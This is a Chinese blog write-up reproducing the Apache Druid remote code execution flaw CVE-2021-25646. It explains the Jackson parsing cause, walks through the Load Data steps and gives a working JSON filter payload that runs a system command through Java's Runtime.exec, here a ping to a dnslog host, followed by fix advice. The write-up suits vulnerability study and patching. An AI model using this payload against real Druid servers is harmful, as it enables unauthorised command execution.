druid 远程命令执行 (CVE-2021-25646)

漏洞原理

该漏洞主要就是根据Jackson解析特性(解析name为""时)会将value值绑定到对象(JavaScriptDimFilter,type为javascript时指定的)的对应参数(config)上,造成JavaScriptDimFilter中function属性中的javascript代码被执行。攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令。 

漏洞范围

Apache Druid < 0.20.1

漏洞复现过程

在这里插入图片描述
启动服务,输入对应的8888对应的端口。druid服务控制端一般是绑定在8888端口。
在这里插入图片描述
打开 Load Data 功能。
在这里插入图片描述

在LoadData 功能页面中存在Local disk功能,将其打开。

在这里插入图片描述

填写对应的值,其中的值是一一对应的。

Base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz

填完就一直下一步。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

Dimension:aaa
Value:bbb

直到出现填写optional filter。填完后,点击Add功能时,将包拦截。
在这里插入图片描述
将filter中的内容进行替换,修改为我们的poc。
在这里插入图片描述
在这里插入图片描述

filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping ikczyv.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}

在这里插入图片描述
发送包后,在dnslog平台可以获取到dns解析记录。
在这里插入图片描述

修复建议

1、及时更新新的版本。
2、限制非信任的设备对服务的访问

参考链接

【CVE-2021-25646 | 附PoC】Apache Druid 远程代码执行漏洞:https://cloud.tencent.com/developer/article/1799712
CVE-2021-25646:Apache Druid RCE远程代码执行复现:https://blog.csdn.net/m0_58596609/article/details/122217842
Apache Druid 代码执行(CVE-2021-25646)漏洞复现:https://edu.yijinglab.com/post/199

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值